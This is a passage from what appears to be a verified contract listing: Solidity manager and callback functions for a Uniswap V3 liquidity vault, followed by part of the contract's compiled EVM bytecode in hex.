) external override onlyManager { require(poolMap[_poolAddress], 'add Pool First'); require(!position.status, 'position is working, cannot init!'); IUniswapV3Pool pool = IUniswapV3Pool(_poolAddress); int24 tickSpacing = pool.tickSpacing(); (_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, tickSpacing); position = PositionHelperV3.Position({ principal0 : 0, principal1 : 0, poolAddress : _poolAddress, tickSpacing : tickSpacing, lowerTick : _lowerTick, upperTick : _upperTick, status: true }); } /// @inheritdoc IVaultOperatorActionsV3 function addPool(uint24 _poolFee) external override onlyManager { require(_poolFee == 3000 || _poolFee == 500 || _poolFee == 10000, "Wrong poolFee!"); address poolAddress = _computeAddress(_poolFee); poolMap[poolAddress] = true; } /// @inheritdoc IVaultOperatorActionsV3 function changeConfig( address _swapPool, uint8 _performanceFee, uint24 _diffTick, uint32 _safetyParam ) external override onlyManager { require(_performanceFee == 0 || _performanceFee > 4, "20Percent MAX!"); require(_safetyParam <= 1e5, 'Wrong safety param!'); if (_swapPool != address(0) && poolMap[_swapPool]) {swapPool = _swapPool;} if (performanceFee != _performanceFee) {performanceFee = _performanceFee;} if (diffTick != _diffTick) {diffTick = _diffTick;} if (safetyParam != _safetyParam) {safetyParam = _safetyParam;} } /// @inheritdoc IVaultOperatorActionsV3 function changeMaxShare( uint256 _maxShare0, uint256 _maxShare1, uint256 _maxSingeDepositAmt0, uint256 _maxSingeDepositAmt1 ) external override onlyManager { MaxShares memory _maxShares = maxShares; if (_maxShare0 != _maxShares.maxToken0Amt) {_maxShares.maxToken0Amt = _maxShare0;} if (_maxShare1 != _maxShares.maxToken1Amt) {_maxShares.maxToken1Amt = _maxShare1;} if (_maxSingeDepositAmt0 != _maxShares.maxSingeDepositAmt0) {_maxShares.maxSingeDepositAmt0 = _maxSingeDepositAmt0;} if (_maxSingeDepositAmt1 != _maxShares.maxSingeDepositAmt1) {_maxShares.maxSingeDepositAmt1 = _maxSingeDepositAmt1;} maxShares = _maxShares; } /// @inheritdoc IVaultOperatorActionsV3 function avoidRisk(uint8 _profitScale) external override onlyManager { if (position.status) { _stopAll(); position.status = false; } _changeProfitScale(_profitScale); } /// @inheritdoc IVaultOperatorActionsV3 function changePool( address newPoolAddress, int24 _lowerTick, int24 _upperTick, int24 _spotTick, // the tick when decide to send the transaction uint8 _profitScale ) external override onlyManager { // Check require(poolMap[newPoolAddress], 'Add Pool First!'); // read in memory PositionHelperV3.Position memory pos = position; // check attack pos.checkDiffTick(_spotTick, diffTick); require(pos.status && pos.poolAddress != newPoolAddress, "CAN NOT CHANGE POOL!"); // stop current pool & change profit config _stopAll(); pos.status = false; _changeProfitScale(_profitScale); // new pool info int24 tickSpacing = IUniswapV3Pool(newPoolAddress).tickSpacing(); (_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, tickSpacing); pos.principal0 = 0; pos.principal1 = 0; pos.poolAddress = newPoolAddress; pos.tickSpacing = tickSpacing; pos.upperTick = _upperTick; pos.lowerTick = _lowerTick; // add liquidity _addAll(pos); } /// @inheritdoc IVaultOperatorActionsV3 function forceReBalance( int24 _lowerTick, int24 _upperTick, int24 _spotTick, uint8 _profitScale ) public override onlyManager{ // read in memory PositionHelperV3.Position memory pos = position; // Check Status (_lowerTick, _upperTick) = tickRegulate(_lowerTick, _upperTick, pos.tickSpacing); if (pos.lowerTick == _lowerTick && pos.upperTick == _upperTick) { return; } pos.checkDiffTick(_spotTick, diffTick); // stopAll & change profit config if (pos.status) { _stopAll(); pos.status = false; } _changeProfitScale(_profitScale); // new pool info pos.principal0 = 0; pos.principal1 = 0; pos.upperTick = _upperTick; pos.lowerTick = _lowerTick; // add liquidity _addAll(pos); } /// @inheritdoc IVaultOperatorActionsV3 function reBalance( int24 reBalanceThreshold, int24 band, int24 _spotTick, uint8 _profitScale ) external override onlyManager { require(band > 0 && reBalanceThreshold > 0, "Bad params!"); (bool status, int24 lowerTick, int24 upperTick) = position._getReBalanceTicks(reBalanceThreshold, band); if (status) { forceReBalance(lowerTick, upperTick, _spotTick, _profitScale); } } /* ========== CALL BACK ========== */ function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata ) external override { require(amount0Delta > 0 || amount1Delta > 0, 'Zero'); require(swapPool == msg.sender, "wrong address"); if (amount0Delta > 0) { token0.transfer(msg.sender, uint256(amount0Delta)); } if (amount1Delta > 0) { token1.transfer(msg.sender, uint256(amount1Delta)); } } function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata ) external override { require(poolMap[msg.sender], "wrong address"); // transfer if (amount0 > 0) {token0.safeTransfer(msg.sender, amount0);} if (amount1 > 0) {token1.safeTransfer(msg.sender, amount1);} } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063982010881161010f578063d3487997116100a2578063f7e8a53911610071578063f7e8a53914610411578063f95949be14610419578063fa461e331461042c578063fd3271411461043f576101f0565b8063d3487997146103c5578063e2bbb158146103d8578063ed064889146103eb578063f2fde38b146103fe576101f0565b8063bd7fa818116100de578063bd7fa81814610378578063c4a7761e1461038b578063c65b61ca146103a5578063d21220a7146103bd576101f0565b8063982010881461032c578063a3fbbaae1461033f578063ac1d060914610352578063ba0cb22b14610365576101f0565b8063554d2a84116101875780638dbdbe6d116101565780638dbdbe6d146102eb5780639270d81b146102fe57806393a98e6c14610311578063947f4ba614610319576101f0565b8063554d2a84146102b357806360d4c2a7146102c6578063715018a6146102db5780638da5cb5b146102e3576101f0565b80631ad8b03b116101c35780631ad8b03b146102645780633e7381521461027a578063441a3e701461028d578063551dcc82146102a0576101f0565b8063025196a6146101f557806309218e911461020a5780630dfe16811461022e57806311c0996514610243575b600080fd5b610208610203366004614f94565b610452565b005b610212610571565b604051610225979695949392919061596a565b60405180910390f35b6102366105c5565b6040516102259190615366565b610256610251366004614df5565b6105e9565b6040516102259291906159b6565b61026c610747565b604051610225929190615950565b610208610288366004614e93565b610761565b61025661029b366004615246565b610988565b6102086102ae366004615294565b610df7565b6102086102c1366004614df5565b610eb1565b6102ce611131565b60405161022591906154a1565b6102086111c9565b610236611287565b6102566102f9366004615267565b611296565b61025661030c366004615246565b6112df565b6102566112fc565b610256610327366004615246565b61142b565b61020861033a366004614f94565b611445565b61020861034d366004614df5565b6115ab565b610208610360366004614e11565b61168f565b610256610373366004614df5565b611789565b6102086103863660046152c5565b6118ce565b61039361192c565b604051610225969594939291906159df565b6103ad61198f565b60405161022594939291906159c4565b61023661199e565b6102086103d3366004615007565b6119c2565b6102566103e6366004615246565b611a65565b6102086103f9366004614f03565b611ab7565b61020861040c366004614df5565b611c79565b6102ce611d8d565b610208610427366004614e49565b611de8565b61020861043a366004615007565b611fd0565b61020861044d366004615214565b612179565b6001546001600160a01b031632146104855760405162461bcd60e51b815260040161047c90615583565b60405180910390fd5b60008360020b13801561049b575060008460020b135b6104b75760405162461bcd60e51b815260040161047c90615817565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c08201526000908190819061055090888861221c565b92509250925082156105685761056882828787611445565b50505050505050565b600954600a546001600160801b0380831692600160801b900416906001600160a01b03811690600160a01b8104600290810b91600160b81b8104820b91600160d01b8204900b90600160e81b900460ff1687565b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b60008060007f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166370a08231856040518263ffffffff1660e01b815260040161063a9190615366565b60206040518083038186803b15801561065257600080fd5b505afa158015610666573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068a919061522e565b905060007f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a6001600160a01b03166370a08231866040518263ffffffff1660e01b81526004016106da9190615366565b60206040518083038186803b1580156106f257600080fd5b505afa158015610706573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072a919061522e565b90506107368282612383565b509399929850919650505050505050565b6008546001600160801b0380821691600160801b90041682565b6001546001600160a01b0316321461078b5760405162461bcd60e51b815260040161047c90615583565b6001600160a01b03851660009081526002602052604090205460ff166107c35760405162461bcd60e51b815260040161047c9061573b565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c08201526003546108669082908590600160a81b900462ffffff16612520565b8060c00151801561088d5750856001600160a01b031681604001516001600160a01b031614155b6108a95760405162461bcd60e51b815260040161047c906155f1565b6108b16125de565b600060c08201526108c1826126b1565b6000866001600160a01b031663d0c93a7c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fc57600080fd5b505afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190614f78565b9050610941868683612706565b600080855260208501526001600160a01b0389166040850152600283810b810b60a086015281810b810b608086015282810b900b6060850152909650945061056882612746565b6000808315158061099857508215155b6109b45760405162461bcd60e51b815260040161047c906154de565b8315610a6257610a5f847f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166370a08231336040518263ffffffff1660e01b8152600401610a0a9190615366565b60206040518083038186803b158015610a2257600080fd5b505afa158015610a36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5a919061522e565b6128cf565b93505b8215610abb57610ab8837f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a6001600160a01b03166370a08231336040518263ffffffff1660e01b8152600401610a0a9190615366565b92505b600080600080610acb8888612383565b955095505050935093506000881115610b5f57604051632770a7eb60e21b81526001600160a01b037f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab31690639dc29fac90610b2c9033908c9060040161537a565b600060405180830381600087803b158015610b4657600080fd5b505af1158015610b5a573d6000803e3d6000fd5b505050505b8615610be657604051632770a7eb60e21b81526001600160a01b037f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a1690639dc29fac90610bb39033908b9060040161537a565b600060405180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050505b600082118015610bff5750600a54600160e81b900460ff165b15610d11576040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c0820152600090610c97906128e9565b505050509050620186a0831015610ccb57620186a0610cb5846129e6565b82026001600160801b031681610cc757fe5b0490505b6000610cd78284612a01565b90506000811215610d0e578215610cfd57610cf6866000839003612ae2565b9550610d0e565b610d0b856000839003612ae2565b94505b50505b8315610d5957610d2384610a5a612b3f565b9350610d596001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599163386612bf1565b8215610da157610d6b83610a5a612c5d565b9250610da16001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163385612bf1565b336001600160a01b03167fe08737ac48a1dab4b1a46c7dc9398bd5bfc6d7ad6fabb7cd8caa254de14def3589898787604051610de094939291906159c4565b60405180910390a2509193509150505b9250929050565b6001546001600160a01b03163214610e215760405162461bcd60e51b815260040161047c90615583565b604080516080810182526004548082526005546020830152600654928201929092526007546060820152908514610e56578481525b80602001518414610e6957602081018490525b80604001518314610e7c57604081018390525b80606001518214610e8f57606081018290525b8051600455602081015160055560408101516006556060015160075550505050565b610eb9612cc0565b6001600160a01b0316610eca611287565b6001600160a01b031614610f25576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b815260040161047c906158e2565b604080518082019091526008546001600160801b03808216808452600160801b9092041660208301526001101561102957805160405163a9059cbb60e01b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599169163a9059cbb91610fd191869160001990910190600401615474565b602060405180830381600087803b158015610feb57600080fd5b505af1158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110239190614f5c565b50600181525b600181602001516001600160801b031611156110ef577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663a9059cbb8360018460200151036040518363ffffffff1660e01b8152600401611094929190615474565b602060405180830381600087803b1580156110ae57600080fd5b505af11580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190614f5c565b50600160208201525b8051600880546020909301516001600160801b03908116600160801b029281166fffffffffffffffffffffffffffffffff199094169390931790921617905550565b60007f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561118c57600080fd5b505afa1580156111a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c4919061522e565b905090565b6111d1612cc0565b6001600160a01b03166111e2611287565b6001600160a01b03161461123d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b336000908152600b6020526040812054819060ff166112c75760405162461bcd60e51b815260040161047c906157e0565b6112d2858585612cc4565b915091505b935093915050565b6000806112ec8484612383565b5093989297509195505050505050565b6003546040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff1615801560c0830152600092600160c81b900463ffffffff1691906114265760035460009081906113ba908490600160a01b900460ff1661301c565b9150915060006113cd8460400151613144565b905060006113f685600001516001600160801b031686602001516001600160801b0316846131e8565b905060006114058585856131e8565b905061141e8261141883620186a061320b565b90613264565b975050505050505b509091565b60008061143884846132cb565b5091969095509350505050565b6001546001600160a01b0316321461146f5760405162461bcd60e51b815260040161047c90615583565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a08201819052600160e81b90920460ff16151560c0820152906115069086908690612706565b80955081965050508460020b816060015160020b14801561153057508360020b816080015160020b145b1561153b57506115a5565b6003546115579082908590600160a81b900462ffffff16612520565b8060c0015115611571576115696125de565b600060c08201525b61157a826126b1565b60008082526020820152600284810b810b608083015285810b900b60608201526115a381612746565b505b50505050565b6115b3612cc0565b6001600160a01b03166115c4611287565b6001600160a01b03161461161f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166116455760405162461bcd60e51b815260040161047c906157a9565b600180546001600160a01b0319166001600160a01b0383169081179091556040517f0afcbf7c3742ee20488a08c0da12ca29b2e8bdd022bef6129efbf4e00f84a63090600090a250565b611697612cc0565b6001600160a01b03166116a8611287565b6001600160a01b031614611703576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0382166117295760405162461bcd60e51b815260040161047c906158e2565b6001600160a01b0382166000818152600b602052604090819020805460ff1916841515179055517fc551bbb22d0406dbfb8b6b7740cc521bcf44e1106029cf899c19b6a8e4c99d519061177d908490615496565b60405180910390a25050565b6000807f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166370a08231846040518263ffffffff1660e01b81526004016117d89190615366565b60206040518083038186803b1580156117f057600080fd5b505afa158015611804573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611828919061522e565b6040516370a0823160e01b81529092506001600160a01b037f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a16906370a0823190611877908690600401615366565b60206040518083038186803b15801561188f57600080fd5b505afa1580156118a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c7919061522e565b9050915091565b6001546001600160a01b031632146118f85760405162461bcd60e51b815260040161047c90615583565b600a54600160e81b900460ff1615611920576119126125de565b600a805460ff60e81b191690555b611929816126b1565b50565b60008060008060008061193f6000613435565b929850909650945092508515611968576119608661141886620186a061320b565b620186a00391505b84156119875761197f8561141885620186a061320b565b620186a00390505b909192939495565b60045460055460065460075484565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b3360009081526002602052604090205460ff166119f15760405162461bcd60e51b815260040161047c90615515565b8315611a2b57611a2b6001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599163386612bf1565b82156115a5576115a56001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163385612bf1565b60008032331480611a855750336000908152600b602052604090205460ff165b611aa15760405162461bcd60e51b815260040161047c906157e0565b611aac848433612cc4565b915091509250929050565b6001546001600160a01b03163214611ae15760405162461bcd60e51b815260040161047c90615583565b60ff83161580611af4575060048360ff16115b611b105760405162461bcd60e51b815260040161047c90615696565b620186a08163ffffffff161115611b395760405162461bcd60e51b815260040161047c906156cd565b6001600160a01b03841615801590611b6957506001600160a01b03841660009081526002602052604090205460ff165b15611b8a57600380546001600160a01b0319166001600160a01b0386161790555b60035460ff848116600160a01b9092041614611bd457600380547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b60ff8616021790555b60035462ffffff838116600160a81b9092041614611c2257600380547fffffffffffffffff000000ffffffffffffffffffffffffffffffffffffffffff16600160a81b62ffffff8516021790555b60035463ffffffff828116600160c81b90920416146115a5576003805463ffffffff8316600160c81b027fffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffffff90911617905550505050565b611c81612cc0565b6001600160a01b0316611c92611287565b6001600160a01b031614611ced576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116611d325760405162461bcd60e51b8152600401808060200182810382526026815260200180615a5b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60007f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561118c57600080fd5b6001546001600160a01b03163214611e125760405162461bcd60e51b815260040161047c90615583565b6001600160a01b03831660009081526002602052604090205460ff16611e4a5760405162461bcd60e51b815260040161047c90615628565b600a54600160e81b900460ff1615611e745760405162461bcd60e51b815260040161047c9061584e565b60008390506000816001600160a01b031663d0c93a7c6040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb457600080fd5b505afa158015611ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eec9190614f78565b9050611ef9848483612706565b6040805160e0810182526000808252602082018190526001600160a01b0399909916918101829052600293840b6060820181905292840b6080820181905294840b60a08201819052600160c090920191909152600998909855600a8054600160e81b6001600160a01b031990911690921762ffffff60a01b1916600160a01b93850b62ffffff908116949094021762ffffff60b81b1916600160b81b95850b8416959095029490941762ffffff60d01b1916600160d01b9890930b91909116969096021760ff60e81b191694909417909355505050565b6000841380611fdf5750600083135b611ffb5760405162461bcd60e51b815260040161047c9061565f565b6003546001600160a01b031633146120255760405162461bcd60e51b815260040161047c90615515565b60008413156120d05760405163a9059cbb60e01b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599169063a9059cbb9061207c903390889060040161537a565b602060405180830381600087803b15801561209657600080fd5b505af11580156120aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120ce9190614f5c565b505b60008313156115a55760405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169063a9059cbb90612127903390879060040161537a565b602060405180830381600087803b15801561214157600080fd5b505af1158015612155573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a39190614f5c565b6001546001600160a01b031632146121a35760405162461bcd60e51b815260040161047c90615583565b8062ffffff16610bb814806121be57508062ffffff166101f4145b806121cf57508062ffffff16612710145b6121eb5760405162461bcd60e51b815260040161047c90615919565b60006121f682613581565b6001600160a01b03166000908152600260205260409020805460ff191660011790555050565b600080600080866040015190506000816001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561226457600080fd5b505afa158015612278573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061229c9190615183565b505050505091505060008860c001511561230257600060028a608001518b606001510160020b816122c957fe5b0590508860020b83820360020b126122e85760019650600191506122fc565b8860020b81840360020b126122fc57600196505b50612307565b600195505b85156123775780801561232f57508860a0015160020b8260020b8161232857fe5b0760020b15155b1561234b5760a0890151612343838261365f565b01915061235c565b612359828a60a0015161365f565b91505b61236a878a60a0015161365f565b9650868203945086820193505b50505093509350939050565b6000806000806000806000806123996000613435565b809850819950829450839550505050506124448a837f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561240757600080fd5b505afa15801561241b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061243f919061522e565b6136ab565b97506124a489827f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561240757600080fd5b9650600080878a11156124d4576124d16124be8b8a612ae2565b620186a06124cc878c612ae2565b6136c6565b91505b868911156124fa576124f76124e98a89612ae2565b620186a06124cc868b612ae2565b90505b80821061250657600194505b6125108282613775565b9550505050509295509295509295565b6000836040015190506000816001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561256457600080fd5b505afa158015612578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061259c9190615183565b50505050509150508260020b84820360020b1280156125c257508260020b81850360020b125b6115a35760405162461bcd60e51b815260040161047c90615704565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c08201526000908190819081906126779061378c565b935093509350935060008061268c84846137e4565b909250905061056861269e8784612ae2565b6126a88784612ae2565b60006001613923565b60328160ff16101580156126c9575060968160ff1611155b15611929576003805460ff8316600160c01b027fffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffffff90911617905550565b600080612713858461365f565b915061271f848461365f565b90508460020b8460020b136112d75760405162461bcd60e51b815260040161047c906158ab565b6000612750612b3f565b9050600061275c612c5d565b905060008211801561276e5750600081115b156127e15761277e838383613ca0565b90925090506127a061278f836129e6565b84516001600160801b031690613d69565b6001600160801b031683526127cb6127b7826129e6565b60208501516001600160801b031690613d69565b6001600160801b03166020840152600160c08401525b505080516009805460208401516001600160801b03908116600160801b029381166fffffffffffffffffffffffffffffffff1990921691909117169190911790556040810151600a80546060840151608085015160a086015160c0909601511515600160e81b0260ff60e81b19600297880b62ffffff908116600160d01b0262ffffff60d01b19948a0b8216600160b81b0262ffffff60b81b1996909a0b909116600160a01b0262ffffff60a01b196001600160a01b039099166001600160a01b03199097169690961797909716949094179290921695909517949094169290921791909116919091179055565b6000818311156128e05750806128e3565b50815b92915050565b6000806000806000808660400151905060003088606001518960800151604051602001612918939291906152e1565b60408051601f198184030181529082905280516020909101207f514ea4bf00000000000000000000000000000000000000000000000000000000825291506001600160a01b0383169063514ea4bf906129759084906004016154a1565b60a06040518083038186803b15801561298d57600080fd5b505afa1580156129a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129c5919061512d565b939c929b509099506001600160801b03908116985090911695509350505050565b60006001600160801b038211156129f957fe5b50805b919050565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c08201526000908190819081908190612a9d9088613dcf565b9350935093509350600080612ab284846137e4565b9092509050612ad5612ac48784612ae2565b612ace8784612ae2565b8b8b613923565b9998505050505050505050565b600082821115612b39576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b6008546040516370a0823160e01b81526000916001600160801b0316906001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59916906370a0823190612b9b903090600401615366565b60206040518083038186803b158015612bb357600080fd5b505afa158015612bc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612beb919061522e565b03905090565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b179052612c58908490613e09565b505050565b6008546040516370a0823160e01b8152600091600160801b90046001600160801b0316907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316906370a0823190612b9b903090600401615366565b3390565b6000806000851180612cd65750600084115b612cf25760405162461bcd60e51b815260040161047c906155ba565b60408051608081018252600454815260055460208201526006549181018290526007546060820152908611801590612d2e575080606001518511155b612d4a5760405162461bcd60e51b815260040161047c9061554c565b600080612d5788886132cb565b865193985091965093509150612d6d838a613eba565b11158015612d8857506020830151612d858289613eba565b11155b612da45760405162461bcd60e51b815260040161047c90615772565b8715612ddf57612ddf6001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5991633308b613f14565b8615612e1a57612e1a6001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21633308a613f14565b8415612ea1576040516340c10f1960e01b81526001600160a01b037f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab316906340c10f1990612e6e908990899060040161537a565b600060405180830381600087803b158015612e8857600080fd5b505af1158015612e9c573d6000803e3d6000fd5b505050505b8315612f28576040516340c10f1960e01b81526001600160a01b037f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a16906340c10f1990612ef5908990889060040161537a565b600060405180830381600087803b158015612f0f57600080fd5b505af1158015612f23573d6000803e3d6000fd5b505050505b600a54600160e81b900460ff1615612fca576040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c0820152612fca90612746565b856001600160a01b03167f7162984403f6c73c8639375d45a9187dfd04602231bd8e587c415718b5f7e5f986868b8b60405161300994939291906159c4565b60405180910390a2505050935093915050565b60408201516000908190818080613032886128e9565b50509250925092506000846001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561307557600080fd5b505afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad9190615183565b50505050505090506130d9816130c68b60600151613f9c565b6130d38c60800151613f9c565b876142ea565b90975095506000806130ed8b878787614386565b9981019998890198909250905060ff8a16156131365761311a6131138360ff8d16613264565b8a90612ae2565b985061313361312c8260ff8d16613264565b8990612ae2565b97505b505050505050509250929050565b600080826001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561318057600080fd5b505afa158015613194573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131b89190615183565b50505050505090506131e1816001600160a01b0316826001600160a01b0316600160601b6136c6565b9392505050565b6000613203836131fd8685600160601b6136c6565b90613eba565b949350505050565b60008261321a575060006128e3565b8282028284828161322757fe5b04146131e15760405162461bcd60e51b8152600401808060200182810382526021815260200180615aa76021913960400191505060405180910390fd5b60008082116132ba576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816132c357fe5b049392505050565b6000806000806132db6001613435565b905050809250819350505060007f000000000000000000000000c2d5d7982d47843cd009cdf0421f6bbde6255ab36001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561334157600080fd5b505afa158015613355573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613379919061522e565b905060007f0000000000000000000000009b54bd65bef74434f8d7d2618fffb252cd72897a6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156133d657600080fd5b505afa1580156133ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061340e919061522e565b905061341b8883866136ab565b95506134288782856136ab565b9450505092959194509250565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b03811692820192909252600160a01b8204600290810b810b810b6060830152600160b81b8304810b810b810b6080830152600160d01b8304810b810b900b60a0820152600160e81b90910460ff16151560c08201526000908190819081906134cd612b3f565b92506134d7612c5d565b91508294508193508060c0015115613579576003546000908190613506908490600160a01b900460ff1661301c565b9150915060008211806135195750600081115b1561357657600061352d8460400151613144565b905061355784600001516001600160801b031685602001516001600160801b03168585858e6143dc565b90935091506135668884613eba565b97506135728783613eba565b9650505b50505b509193509193565b60007f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f9847f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5997f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2846040516020016135f993929190615393565b60408051601f19818403018152908290528051602091820120613641939290917fe34f199b19b2b4f47f68442619d55552